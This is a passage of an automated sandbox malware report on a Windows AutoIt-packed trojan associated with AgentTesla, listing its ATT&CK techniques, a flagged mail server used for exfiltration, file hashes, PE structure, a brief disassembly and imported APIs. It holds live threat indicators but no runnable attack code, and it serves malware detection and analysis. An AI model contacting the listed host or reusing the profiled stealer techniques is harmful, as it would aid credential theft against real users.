                    Source: Yara matchFile source: 00000002.00000002.3361795716.0000000003851000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3362119496.0000000004DB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3360711137.00000000025EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3362799137.00000000050A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_004741BB
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,0_2_0046483C
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,0_2_0047AD92
                    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                    Gather Victim Identity InformationAcquire Infrastructure2
                    Valid Accounts
                    121
                    Windows Management Instrumentation
                    1
                    DLL Side-Loading
                    1
                    Exploitation for Privilege Escalation
                    11
                    Disable or Modify Tools
                    2
                    OS Credential Dumping
                    2
                    System Time Discovery
                    Remote Services11
                    Archive Collected Data
                    1
                    Ingress Tool Transfer
                    Exfiltration Over Other Network Medium1
                    System Shutdown/Reboot
                    CredentialsDomainsDefault Accounts3
                    Native API
                    2
                    Valid Accounts
                    1
                    DLL Side-Loading
                    11
                    Deobfuscate/Decode Files or Information
                    121
                    Input Capture
                    1
                    Account Discovery
                    Remote Desktop Protocol2
                    Data from Local System
                    1
                    Encrypted Channel
                    Exfiltration Over BluetoothNetwork Denial of Service
                    Email AddressesDNS ServerDomain Accounts2
                    Command and Scripting Interpreter
                    Logon Script (Windows)2
                    Valid Accounts
                    2
                    Obfuscated Files or Information
                    1
                    Credentials in Registry
                    2
                    File and Directory Discovery
                    SMB/Windows Admin Shares1
                    Email Collection
                    1
                    Non-Standard Port
                    Automated ExfiltrationData Encrypted for Impact
                    Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook21
                    Access Token Manipulation
                    1
                    Software Packing
                    NTDS148
                    System Information Discovery
                    Distributed Component Object Model121
                    Input Capture
                    1
                    Non-Application Layer Protocol
                    Traffic DuplicationData Destruction
                    Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script212
                    Process Injection
                    1
                    DLL Side-Loading
                    LSA Secrets341
                    Security Software Discovery
                    SSH3
                    Clipboard Data
                    11
                    Application Layer Protocol
                    Scheduled TransferData Encrypted for Impact
                    Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
                    Valid Accounts
                    Cached Domain Credentials121
                    Virtualization/Sandbox Evasion
                    VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                    DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items121
                    Virtualization/Sandbox Evasion
                    DCSync2
                    Process Discovery
                    Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                    Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
                    Access Token Manipulation
                    Proc Filesystem11
                    Application Window Discovery
                    Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                    Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt212
                    Process Injection
                    /etc/passwd and /etc/shadow1
                    System Owner/User Discovery
                    Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                    windows-stand
                    SourceDetectionScannerLabelLink
                    w6dnPra4mx.exe71%ReversingLabsWin32.Trojan.AutoitInject
                    w6dnPra4mx.exe100%Joe Sandbox ML
                    No Antivirus matches
                    No Antivirus matches
                    No Antivirus matches
                    SourceDetectionScannerLabelLink
                    http://mail.thelamalab.com0%Avira URL Cloudsafe
                    NameIPActiveMaliciousAntivirus DetectionReputation
                    mail.thelamalab.com
                    162.251.80.30
                    truetrue
                      unknown
                      NameSourceMaliciousAntivirus DetectionReputation
                      http://mail.thelamalab.comRegSvcs.exe, 00000002.00000002.3360881301.00000000028A7000.00000004.00000800.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      unknown
                      https://account.dyn.com/RegSvcs.exe, 00000002.00000002.3361795716.0000000003851000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3360711137.00000000025EE000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3362799137.00000000050A0000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3362119496.0000000004DB0000.00000004.08000000.00040000.00000000.sdmpfalse
                        high
                        • No. of IPs < 25%
                        • 25% < No. of IPs < 50%
                        • 50% < No. of IPs < 75%
                        • 75% < No. of IPs
                        IPDomainCountryFlagASNASN NameMalicious
                        162.251.80.30
                        mail.thelamalab.comUnited States
                        394695PUBLIC-DOMAIN-REGISTRYUStrue
                        Joe Sandbox version:41.0.0 Charoite
                        Analysis ID:1551066
                        Start date and time:2024-11-07 13:13:09 +01:00
                        Joe Sandbox product:CloudBasic
                        Overall analysis duration:0h 6m 23s
                        Hypervisor based Inspection enabled:false
                        Report type:full
                        Cookbook file name:default.jbs
                        Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                        Number of analysed new started processes analysed:7
                        Number of new started drivers analysed:0
                        Number of existing processes analysed:0
                        Number of existing drivers analysed:0
                        Number of injected processes analysed:0
                        Technologies:
                        • HCA enabled
                        • EGA enabled
                        • AMSI enabled
                        Analysis Mode:default
                        Analysis stop reason:Timeout
                        Sample name:w6dnPra4mx.exe
                        renamed because original name is a hash value
                        Original Sample Name:12ec08ba12e0e45f1f346eb6ff2395da6c0240f6c3722cdfb6c99bfd5f8b6f8b.exe
                        Detection:MAL
                        Classification:mal100.troj.spyw.evad.winEXE@3/1@1/1
                        EGA Information:
                        • Successful, ratio: 100%
                        HCA Information:
                        • Successful, ratio: 96%
                        • Number of executed functions: 37
                        • Number of non-executed functions: 316
                        Cookbook Comments:
                        • Found application associated with file extension: .exe
                        • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                        • Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                        • Report size exceeded maximum capacity and may have missing disassembly code.
                        • Report size getting too big, too many NtProtectVirtualMemory calls found.
                        • Report size getting too big, too many NtQueryValueKey calls found.
                        • VT rate limit hit for: w6dnPra4mx.exe
                        TimeTypeDescription
                        07:14:00API Interceptor24x Sleep call for process: RegSvcs.exe modified
                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                        162.251.80.30shipping doc.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                          shipping advice.exeGet hashmaliciousAgentTeslaBrowse
                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            mail.thelamalab.comshipping doc.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                            • 162.251.80.30
                            shipping advice.exeGet hashmaliciousAgentTeslaBrowse
                            • 162.251.80.30
                            new p o.exeGet hashmaliciousAgentTeslaBrowse
                            • 162.222.226.100
                            SecuriteInfo.com.Win32.PWSX-gen.27121.31008.exeGet hashmaliciousAgentTeslaBrowse
                            • 162.222.226.100
                            DOCUMENTS.exeGet hashmaliciousAgentTeslaBrowse
                            • 162.222.226.100
                            SecuriteInfo.com.Win32.PWSX-gen.28055.17747.exeGet hashmaliciousAgentTeslaBrowse
                            • 162.222.226.100
                            SHIPPING ORDER.exeGet hashmaliciousAgentTeslaBrowse
                            • 162.222.226.100
                            receipt-73633T36X90N.exeGet hashmaliciousAgentTeslaBrowse
                            • 162.222.226.100
                            AQQ-T7630-CVE8.exeGet hashmaliciousAgentTeslaBrowse
                            • 162.222.226.100
                            SecuriteInfo.com.Win32.CrypterX-gen.1573.32091.exeGet hashmaliciousAgentTeslaBrowse
                            • 162.222.226.100
                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            PUBLIC-DOMAIN-REGISTRYUS05.11.241591883_UyeIsyeriCalismanKosullari.xlxs.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                            • 119.18.54.39
                            x6BqJ693rc.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                            • 103.21.58.10
                            56ck70s0BI.exeGet hashmaliciousFormBookBrowse
                            • 119.18.54.27
                            REnBTVfW8q.exeGet hashmaliciousAgentTesla, GuLoaderBrowse
                            • 208.91.199.223
                            ulf4JrCRk2.exeGet hashmaliciousAgentTesla, GuLoaderBrowse
                            • 208.91.199.223
                            Nt8BLNLKN7.exeGet hashmaliciousAgentTesla, GuLoaderBrowse
                            • 208.91.199.223
                            p4rsJEIb7k.exeGet hashmaliciousFormBookBrowse
                            • 119.18.54.27
                            copto de pago.exeGet hashmaliciousAgentTeslaBrowse
                            • 208.91.199.224
                            1364. 2024.exeGet hashmaliciousAgentTeslaBrowse
                            • 199.79.62.115
                            Quote_220072.exeGet hashmaliciousAgentTeslaBrowse
                            • 199.79.62.115
                            No context
                            No context
                            Process:C:\Users\user\Desktop\w6dnPra4mx.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):267776
                            Entropy (8bit):7.902222258822383
                            Encrypted:false
                            SSDEEP:6144:Uv8cVo8bnMxFEHq3CF4gANpiexDrfywsFEysKWe4n8Uc5:UEwnbnM/EOPNXXIFEZZxnY5
                            MD5:BE34A4161F630E42369A74ADD7389796
                            SHA1:9064C9D46B9EA6EA8EC7413E14F92F0B7CE5624F
                            SHA-256:739C9760EB91407F36204F9BE18CF72AE3C50FEEA63C265FB0438248B2ACA84E
                            SHA-512:93DF00313816135EB617C295A3A68F881C696BA4C3123265AE1CD3F3CFD68452789B662B07AFEDBBD6462381F1F49F4906C998B3751D696E8BE16FAF094F22BB
                            Malicious:false
                            Reputation:low
                            Preview:...FPMINR4SI..UJ.3CTDFSM.NV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSM.NV4]V.TU.H.b.E..l.&?Gs9:528 ^c7%(="=n4Qs;=4u#/....f>"-+x9^ClZUJA3CT,V.`e?.J.8.$y;.Mqw;8l<.0]..7c+.4mB.*.7.3{m8JO8.$gi(M.%.8an20{E.7.36"mB.*DFSMINV4SIHZUJA3=.\ SMIN.qSI.[QJ5.C.DFSMINV4.Ik[^KH3C.EFS7KNV4SIg.UJA#CTD.RMIN.4SYHZUHA3FTDFSMINS4SIHZUJASGTDBSM.uT4QIH.UJQ3CDDFSMYNV$SIHZUJQ3CTDFSMINV4.\JZ.JA3C4FFo.HNV4SIHZUJA3CTDFSMINV4SIHZ..@3_TDFSMINV4SIHZUJA3CTDFSMINV4.DJZ.JA3CTDFSMINV.RI.[UJA3CTDFSMINV4SIHZUJA3CTDF}9,6"4SIP.TJA#CTD.RMIJV4SIHZUJA3CTDFsMI.xF7(<;UJ.^CTD.RMI V4S.IZUJA3CTDFSMIN.4S.f>4> 3CT.vSMInT4S_HZU@C3CTDFSMINV4SI.ZU.oA0&'FSMu.W4S)JZU.@3CtFFSMINV4SIHZUJ.3C.DFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4SIHZUJA3CTDFSMINV4
                            File type:PE32 executable (GUI) Intel 80386, for MS Windows
                            Entropy (8bit):7.47328304782633
                            TrID:
                            • Win32 Executable (generic) a (10002005/4) 95.11%
                            • AutoIt3 compiled script executable (510682/80) 4.86%
                            • Generic Win/DOS Executable (2004/3) 0.02%
                            • DOS Executable Generic (2002/1) 0.02%
                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                            File name:w6dnPra4mx.exe
                            File size:1'264'127 bytes
                            MD5:2bcd76ac1faabd3b89af0b04a5d648c2
                            SHA1:066e8cbdd9299db252cfc103d1a0d7d05c0f98c5
                            SHA256:12ec08ba12e0e45f1f346eb6ff2395da6c0240f6c3722cdfb6c99bfd5f8b6f8b
                            SHA512:04e8a9c08f1c4e5e84e08f7aa52ba2f40302ce44c7595bc5c726db1a27fee7556728bafe191fc55c42070de4b965639b831875570f45e8b60331425b71dd3495
                            SSDEEP:24576:ffmMv6Ckr7Mny5QL1NK8Hya+AuBcQBVuSb4UXwiNH:f3v+7/5QLD3SIOHb4mht
                            TLSH:9E45F112B7D680F6D9A339B1297BF3269B3575194323C4CBA7E02F778E211409B36762
                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........
                            Icon Hash:1733312925935517
                            Entrypoint:0x416310
                            Entrypoint Section:.text
                            Digitally signed:false
                            Imagebase:0x400000
                            Subsystem:windows gui
                            Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                            DLL Characteristics:TERMINAL_SERVER_AWARE
                            Time Stamp:0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
                            TLS Callbacks:
                            CLR (.Net) Version:
                            OS Version Major:5
                            OS Version Minor:0
                            File Version Major:5
                            File Version Minor:0
                            Subsystem Version Major:5
                            Subsystem Version Minor:0
                            Import Hash:aaaa8913c89c8aa4a5d93f06853894da
                            Instruction
                            call 00007FE114B1E01Ch
                            jmp 00007FE114B11DEEh
                            int3
                            int3
                            int3
                            int3
                            int3
                            int3
                            push ebp
                            mov ebp, esp
                            push edi
                            push esi
                            mov esi, dword ptr [ebp+0Ch]
                            mov ecx, dword ptr [ebp+10h]
                            mov edi, dword ptr [ebp+08h]
                            mov eax, ecx
                            mov edx, ecx
                            add eax, esi
                            cmp edi, esi
                            jbe 00007FE114B11F7Ah
                            cmp edi, eax
                            jc 00007FE114B1211Ah
                            cmp ecx, 00000100h
                            jc 00007FE114B11F91h
                            cmp dword ptr [004A94E0h], 00000000h
                            je 00007FE114B11F88h
                            push edi
                            push esi
                            and edi, 0Fh
                            and esi, 0Fh
                            cmp edi, esi
                            pop esi
                            pop edi
                            jne 00007FE114B11F7Ah
                            pop esi
                            pop edi
                            pop ebp
                            jmp 00007FE114B123DAh
                            test edi, 00000003h
                            jne 00007FE114B11F87h
                            shr ecx, 02h
                            and edx, 03h
                            cmp ecx, 08h
                            jc 00007FE114B11F9Ch
                            rep movsd
                            jmp dword ptr [00416494h+edx*4]
                            nop
                            mov eax, edi
                            mov edx, 00000003h
                            sub ecx, 04h
                            jc 00007FE114B11F7Eh
                            and eax, 03h
                            add ecx, eax
                            jmp dword ptr [004163A8h+eax*4]
                            jmp dword ptr [004164A4h+ecx*4]
                            nop
                            jmp dword ptr [00416428h+ecx*4]
                            nop
                            mov eax, E4004163h
                            arpl word ptr [ecx+00h], ax
                            or byte ptr [ecx+eax*2+00h], ah
                            and edx, ecx
                            mov al, byte ptr [esi]
                            mov byte ptr [edi], al
                            mov al, byte ptr [esi+01h]
                            mov byte ptr [edi+01h], al
                            mov al, byte ptr [esi+02h]
                            shr ecx, 02h
                            mov byte ptr [edi+02h], al
                            add esi, 03h
                            add edi, 03h
                            cmp ecx, 08h
                            jc 00007FE114B11F3Eh
                            Programming Language:
                            • [ASM] VS2008 SP1 build 30729
                            • [ C ] VS2008 SP1 build 30729
                            • [C++] VS2008 SP1 build 30729
                            • [ C ] VS2005 build 50727
                            • [IMP] VS2005 build 50727
                            • [ASM] VS2008 build 21022
                            • [RES] VS2008 build 21022
                            • [LNK] VS2008 SP1 build 30729
                            NameVirtual AddressVirtual Size Is in Section
                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                            IMAGE_DIRECTORY_ENTRY_IMPORT0x8cd3c0x154.rdata
                            IMAGE_DIRECTORY_ENTRY_RESOURCE0xab0000x9298.rsrc
                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                            IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                            IMAGE_DIRECTORY_ENTRY_IAT0x820000x840.rdata
                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0
                            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                            .text0x10000x800170x802006c20c6bf686768b6f134f5bd508171bcFalse0.5602991615853659data6.634688230255595IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                            .rdata0x820000xd95c0xda00f979966509a93083729d23cdfd2a6f2dFalse0.36256450688073394data4.880040824124099IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                            .data0x900000x1a5180x6800e5d77411f751d28c6eee48a743606795False0.1600060096153846data2.2017649896261107IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                            .rsrc0xab0000x92980x9400f6be76de0ef2c68f397158bf01bdef3eFalse0.4896801097972973data5.530303089784181IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                            NameRVASizeTypeLanguageCountryZLIB Complexity
                            RT_ICON0xab5c80x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                            RT_ICON0xab6f00x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                            RT_ICON0xab8180x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                            RT_ICON0xab9400x668Device independent bitmap graphic, 48 x 96 x 4, image size 1152EnglishGreat Britain0.48109756097560974
                            RT_ICON0xabfa80x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512EnglishGreat Britain0.5672043010752689
                            RT_ICON0xac2900x128Device independent bitmap graphic, 16 x 32 x 4, image size 128EnglishGreat Britain0.6418918918918919
                            RT_ICON0xac3b80xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsEnglishGreat Britain0.7044243070362474
                            RT_ICON0xad2600x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsEnglishGreat Britain0.8077617328519856
                            RT_ICON0xadb080x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsEnglishGreat Britain0.5903179190751445
                            RT_ICON0xae0700x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishGreat Britain0.5503112033195021
                            RT_ICON0xb06180x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishGreat Britain0.6050656660412758
                            RT_ICON0xb16c00x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishGreat Britain0.7553191489361702
                            RT_MENU0xb1b280x50dataEnglishGreat Britain0.9
                            RT_DIALOG0xb1b780xfcdataEnglishGreat Britain0.6507936507936508
                            RT_STRING0xb1c780x530dataEnglishGreat Britain0.33960843373493976
                            RT_STRING0xb21a80x690dataEnglishGreat Britain0.26964285714285713
                            RT_STRING0xb28380x43adataEnglishGreat Britain0.3733826247689464
                            RT_STRING0xb2c780x5fcdataEnglishGreat Britain0.3087467362924282
                            RT_STRING0xb32780x65cdataEnglishGreat Britain0.34336609336609336
                            RT_STRING0xb38d80x388dataEnglishGreat Britain0.377212389380531
                            RT_STRING0xb3c600x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishUnited States0.502906976744186
                            RT_GROUP_ICON0xb3db80x84dataEnglishGreat Britain0.6439393939393939
                            RT_GROUP_ICON0xb3e400x14dataEnglishGreat Britain1.15
                            RT_GROUP_ICON0xb3e580x14dataEnglishGreat Britain1.25
                            RT_GROUP_ICON0xb3e700x14dataEnglishGreat Britain1.25
                            RT_VERSION0xb3e880x19cdataEnglishGreat Britain0.5339805825242718
                            RT_MANIFEST0xb40280x26cASCII text, with CRLF line terminatorsEnglishUnited States0.5145161290322581
                            DLLImport
                            WSOCK32.dll__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
                            VERSION.dllVerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
                            WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                            COMCTL32.dllImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
                            MPR.dllWNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
                            WININET.dllInternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
                            PSAPI.DLLEnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
                            USERENV.dllCreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
                            KERNEL32.dllHeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, lstrcmpiW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, GetProcessHeap, OutputDebugStringW, GetLocalTime, CompareStringW, CompareStringA, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetComputerNameW, GetWindowsDirectoryW, GetSystemDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ResumeThread, GetStartupInfoW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameA, HeapReAlloc, HeapCreate, SetHandleCount, GetFileType, GetStartupInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, LCMapStringA, RtlUnwind, SetFilePointer, GetTimeZoneInformation, GetTimeFormatA, GetDateFormatA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetTickCount, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEndOfFile, EnumResourceNamesW, SetEnvironmentVariableA
                            USER32.dllSetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, CopyImage, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, PeekMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, MoveWindow, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, GetMenuItemID, TranslateMessage, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, keybd_event, LoadImageW, GetWindowLongW
                            GDI32.dllDeleteObject, GetObjectW, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, BeginPath, Rectangle, GetDeviceCaps, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, SetViewportOrgEx
                            COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
